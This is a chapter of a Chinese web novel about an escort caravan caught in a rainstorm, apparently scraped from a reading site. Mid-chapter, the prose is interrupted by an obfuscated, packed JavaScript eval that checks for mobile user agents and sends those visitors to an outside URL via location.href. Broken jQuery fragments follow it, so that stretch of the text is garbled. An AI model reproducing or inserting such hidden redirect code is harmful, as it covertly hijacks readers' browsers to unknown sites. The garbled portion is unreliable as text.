默认冷灰
24号文字
方正启体

15. 暴雨

作者:炽棫朴本书字数:K更新时间:
    溪水潺潺,清澈可见底部小石。


    辛流将囊口摁下溪面,任清水滑进囊袋中。


    跟来的叶悯蹲在溪边挽起袖口拂水玩,水珠透明,折射出虹光,映得她的笑容更为烂漫。


    辛流束紧水囊,抬眸朝她看去时见到便是这一副不知世事的天真模样。


    “你知道琉星彩?”此时众人都稍微放松了一些,辛流生出几分兴致跟叶悯闲侃。


    叶悯听到她的问话,倒失了兴致不再拂水,嘟着嘴泄了口气:“就知道瞒不过你们这群老江湖,所以我才只愿意在温姐姐面前提她嘛。”


    辛流勾唇诩笑:“我还以为你不知道她在江湖上是个人人喊打的女魔头呢。”


    “我自然是知道的,可她也确实很强呀——要是她没干后面那些伤天害理的事就好了。”


    “辛姐姐。”叶悯撑腿站起身,绷直唇线注视着溪中摆尾的游鱼:“你说一个人拥有得越多就真的越容易迷失吗?她那么强……难道实力也可以作假?不然她为什么要故意去伤害无辜的人?”


    辛流思考了一会,认真回答她:“我不知道,但人们都说她很坏。”


    叶悯情绪有些低落。


    不远处的小路边,袅袅炊烟朝林中飘来,魏叔高声吆喝众人吃饭。


    “魏叔的手艺算我们当中最好的了,去尝尝吧。”


    辛流拍拍叶悯的肩膀转移她的注意力。


    少年人的情绪来得快去得也快,叶悯闻言当即放下袖带,欢喜跑去盛饭菜。


    辛流望着她跳脱的身影弯下眉眼,接着背离人们喧闹的方向,面朝溪流、树影和深处未知的丛林,从胸口衣襟内摸出一张干馍,掰碎后一点点就着囊袋里装好的溪水咽入腹中。


    人群中常晏的目光持久停留在她身上。


    他看她似是独自发着呆——这还是两人重遇之后,他第一次见她如此萧索的状态。


    辛流吃完半张馍饼便又俯身灌满水囊,手肘触到了腰间剑柄,她复而晃了神。


    这么多年,她老是用废兵器,好像始终缺一把趁手的宝剑呢……


    “算了,努力再找找吧。”辛流轻声自我鼓舞,涌现出的笑意尤染平和。


    她甩头将滑落的青丝扬回肩后的一刹那,耳畔传来极轻的脚步声。


    辛流登时缘声昂首勘去,来人白衣胜雪、气质出尘,唯有所持的一包肉脯与其格格不入,但也不太破坏他的形象,平添一丝惹人亲近的烟火气。


    辛流对常晏的突然出现有些讶然:“温公子来赏风景?”


    她可不觉得这人是来找她的。


    常晏瞧见她还未消散的笑意,不知怎的,胸中的郁气徒自散了。


    “这肉脯似乎不太新鲜,辛镖头能帮温某辨别一下吗?”


    常晏此话一出,辛流便觉得他在说笑。


    哪怕如今正是雨水常降的时节,他们也才刚出发,携带的食材不至于潮腐,何况这是风干的肉脯。


    然而辛流还是认真替他检查了一遍,没受潮没发霉,颜色看起来很正常。


    “温某仍不太确定,可否请辛镖头尝尝味道。”


    辛流忍住骂人的冲动,强撑着笑脸满足他的要求。


    肉脯没有任何问题,而且大概是温府特地挑精肉制成的,甚至比以前她吃过的肉脯更有嚼劲,滋味极美。


    常晏听着辛流的反馈,忽然翘起了唇角:“这包肉脯已被辛镖头染指过,要对它们负责。”


    辛流懵然接过肉脯,见常晏转身就走,脑子里循环起他的话。


    我?染指?负责?肉脯?


    他疯了,我疯了?


    “他不会偷偷给这玩意儿下毒了吧?”


    下一秒,辛流又抓起一片肉脯,嚼得腮颊一鼓一鼓,口齿不清地哼唧两声“怪哉”,随后跟着往小路边走去。


    先行一步的常晏听见身后辛流的吐槽,联想到她说话时的表情,不禁垂眸轻笑。


    这一幕恰好被孙非悬尽收眼底,他捧着碗一步步挪至辛流耳边揶揄:“某人近日桃花泛滥喔,走了个叶公子又来了个温公子。”


    辛流侧目蔑他,把肉脯往他面前递了递。


    常晏正在不远处默默盯着他们,孙非悬有眼力见地拒绝:“我可受不住,有人会吃味儿。”


    辛流手肘怼他肚子,背身低语:“别闹,你之前不还说人家奇怪吗?”


    孙非悬以碗挡脸:“玩玩又不碍事,再说这个姓温的长得还行,仅比我差一点点……要不,我替你们算算姻缘?”


    辛流退开两步,挂上她的招牌微笑:“大可不必。”


    她偏头时偶然对上常晏的视线,真想转过头当场警告孙非悬,此人是万不能招惹的。


    午后林间小憩半个时辰,车队重整上路。


    天沉欲垂,气温闷热,雀鸟低飞,蛇蚁过道,正是大雨将至的前兆。


    连晨午间还精神抖擞的叶悯都被热得吞了声。


    陈鹏远受辛流差遣,探路归来。


    “前面路况如何?”辛流问他。


    陈鹏远答:“大概还有十里路便到峡江县了,但这个天气,我担心之后的官道容易有塌方。”


    沿着他的话,辛流仔细思量一番,令镖局的兄弟们给行李车盖了层油布,她再驾马来到常晏车外敲了敲窗框。


    “温公子,天气太差,今日可能到不了临江府城,我预备镖队在三十里后的新淦县歇上一晚。”


    辛流话音刚落,常晏即接话:“全凭辛镖头安排。”


    如辛流心中预料,过峡江县不及五里路,瓢泼大雨已至,明明是申时,天却暗淡似落日无晖后。


    辛流冷静指挥随行的温家侍从尽可能都挤进马车,车外的人披上蓑衣斗笠。


    她让陈鹏远领车头,魏叔守中段,自己则反身纵马往队伍末端压阵,顺便再确认一遍整个车队的安全。


    忽然,她瞥见常晏的车厢外有一人形只影单地驾着马车。


    他没有蓑衣可披,车檐遮蔽的区域有限,除了头脸的其他部位相当于浸在雨水中。


    辛流记得常晏身边的这个小厮,好像是叫“隗楼”。


    她勒马慢下来问他:“你怎么不进马车躲躲?”


    隗楼惊异于辛流突如其来的关心,愣神一瞬,想了个借口:“车里是主子小姐。”


    为了腾出足够的空间装人,温翦月一车女眷搬进了常晏的马车内。


    辛流又道:“那可以往后面马车的空隙挤挤啊。”


    听着辛流的建议,他还是摇头。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16172553|180744||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    辛流不理解他的执着,可她没那么多时间花在这种细碎之事上,于是即刻扯下自己的蓑衣扔到车架上,继续往车尾赶,只留下一句:“还有需要就直接说。”


    叶悯听见动静,撩开门帘顶着扑面的雨水对辛流的背影高声询问:“辛姐姐,那你怎么办?”


    雨声嘈杂,辛流没听清叶悯的话,只好回身朝其挥挥手,示意她回车厢避雨,自己则压低斗笠的帽檐,行至队伍末尾停步。


    叶悯担忧地抿了唇,侧目见隗楼没穿蓑衣,更是没好气:“你快穿呀,辛姐姐专门给你的,跟根木头似的傻坐干嘛?”


    “我没让她给我。”隗楼木然答。


    “隗楼,穿吧。”


    常晏明白隗楼的无措,他们早已习惯了疾风恶雨,潜意识里也没了躲避的概念。


    隗楼这才垂眸应下。


    叶悯冷哼一声放下车帘,看向常晏的眼神不太友善,毫不客气怼他:“喂,我们又不是洪水猛兽,让他进来又怎样?你就不能对你手下好一点吗?这样辛姐姐也不用没蓑衣遮雨了。”


    车外刚披上蓑衣的隗楼闻声一抖:“叶小姐,这是我自己的决定,不关公子的事。”


    杏香杏雨像两只鹌鹑紧挨在一起,不敢吭声。


    温翦月坐在常晏和叶悯中间,为常晏开脱:“叶小姐,阿晏是顾及我不便与外男同处一室……”


    “叶姑娘。”常晏闭目仰靠在车壁上,缓缓启唇:“不要仅以个人认知去谴责破坏一些规则,否则后果会颠覆你的想象。”


    随之,他睁开双眸。


    叶悯本来想再反驳两句,被他点漆般的瞳孔盯住那一刻,浑身不寒而栗,如同被不见底的沉默深渊凝视。


    她闭紧了嘴巴,终于意识到这位温公子没有近两天表现出来那样好相处。


    另一边,孙非悬缩在挤满人的某间车厢角落,暗暗吐槽这多变的鬼天气,借来身边温家小厮三个铜板,让其落在羽扇平面成卦。


    “孙先生,您这是算出什么了?是不是卦象不好呀?”借钱的小厮瞧他一脸凝重,不由惴惴追问。


    全车人的目光都集中在孙非悬身上。


    他回过神,将铜钱抛还给小厮,倏尔笑言:“哪来的不好,接下来咱们顺利着呢。”


    “那您怎地看起来不太高兴呢?”小厮疑惑道。


    孙非悬听后无可奈何地摊手:“我起卦问了行路的状况,也问了本人的财运,行路顺利,可我要散财诶——这对我来说能是高兴事吗?”


    众人闻言松了气,还纷纷安慰着他。


    “没想到一卦还能算出这么多东西呀。”借钱的小厮摩挲着掌中三枚铜钱,合掌乞求起孙非悬:“孙先生,您好心替小的算算财运行吗?”


    孙非悬觑他一眼,觉得闲着也是无聊,便挨个免费替车内人相面看手。


    车厢里的众人似乎都因此暂时忘却了让人焦躁烦闷的天气,相聚一室彼此打闹调笑,氛围和乐融融。


    孙非悬临看到身旁这借钱的小厮时,途中一顿,刻意靠近他头侧低声道:“近期你切忌守财,否则易有血光之灾。”


    小厮怔神片刻,见孙非悬已掠过他看起了下一个人的手相,不好再去打扰细问,心中反复默念这句话……
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)